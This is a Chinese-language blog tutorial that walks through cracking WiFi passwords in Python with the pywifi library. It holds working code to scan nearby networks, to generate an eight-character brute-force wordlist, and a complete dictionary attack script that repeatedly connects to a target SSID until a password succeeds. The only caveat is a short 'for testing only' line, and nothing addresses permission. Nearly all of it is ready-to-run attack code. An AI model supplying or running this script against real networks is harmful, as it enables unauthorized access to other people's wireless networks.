Python简易WiFi密码破解简易方案
前言
基于对无线网络相关技术的探索,我们可以通过Python来实现简易的WiFi密码破解操作。
实验步骤
利用命令行安装pywifi模块
在命令行中执行以下命令安装pywifi模块:
pip install pywifi
查看pip是否安装成功,执行:
pip -V
一、扫描WiFi模块
通过Python代码来实现WiFi扫描功能,代码如下:
import pywifi
import time
# 初始化pywifi
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡接口
interface = wifi.interfaces()[0]
# 开始扫描
interface.scan()
print('正在扫描WiFi,请稍等………………')
# 等待扫描完成
time.sleep(10) # 可根据实际情况调整等待时间以确保扫描完成
# 获取扫描结果
scan_results = interface.scan_results()
# 打印扫描结果
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
index = 0
for result in scan_results:
# 处理SSID乱码问题
ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
signal = result.signal
print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
index += 1
print('\n' + '*' * 50)
二、爆破字典
1. 生成字典
自己生成密码字典不建议(大约有100G左右,生成时间较长),以下是生成字典的脚本示例:
import itertools as its
import datetime
# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 包含大小写字母和数字的组合
# words = '0123456789' # 纯数字组合
# 生成密码的位数
r = its.product(words, repeat=8) # 这里生成8位密码,通常热点密码为8位
dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt为密码本名称
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成完毕')
end = datetime.datetime.now()
print("生成密码本总共花费时间:{}".format(end - start))
2. 下载字典
三、爆破脚本
以下是爆破脚本,其中已对需要修改的部分进行注释:
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
# 全局初始化,避免重复创建实例
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] if wifi.interfaces() else None
def wifi_connect(pwd):
if not iface:
print("未找到无线网卡!")
return False
# 断开当前连接
iface.disconnect()
time.sleep(1)
# 确保网卡处于断开状态
if iface.status() != const.IFACE_DISCONNECTED:
print("无法断开当前连接")
return False
# 创建新的配置文件
profile = pywifi.Profile()
profile.ssid = "iPhone1" # 请修改为你的WiFi名称
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd.strip() # 去除密码前后的空格和换行符
# 清理旧配置
iface.remove_all_network_profiles()
try:
# 添加新配置并尝试连接
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
# 增加连接等待时间(可根据网络响应调整)
time.sleep(5)
return iface.status() == const.IFACE_CONNECTED
except Exception as e:
print(f"连接时发生异常: {e}")
return False
def read_password():
print("开始破解...")
path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt" # 请修改为你字典所在位置
try:
with open(path, "r") as f:
passwords = [line.strip() for line in f.readlines() if line.strip()]
except Exception as e:
print(f"无法读取密码文件: {e}")
return
total = len(passwords)
start_time = datetime.datetime.now()
for idx, pwd in enumerate(passwords, 1):
print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")
# 增加重试机制
retry = 0
while retry < 2: # 最多重试2次
if wifi_connect(pwd):
print(f"\n破解成功!密码为: {pwd}")
print(f"总耗时: {datetime.datetime.now() - start_time}")
return
else:
retry += 1
time.sleep(2) # 失败后等待2秒再重试
print("\n密码字典无匹配项!")
if __name__ == "__main__":
read_password()
完整代码及字典可通过以下链接下载:
- 迅雷下载
文章整理自互联网,只做测试使用。发布者:Lomu,转转请注明出处:https://www.it1024doc.com/13605.html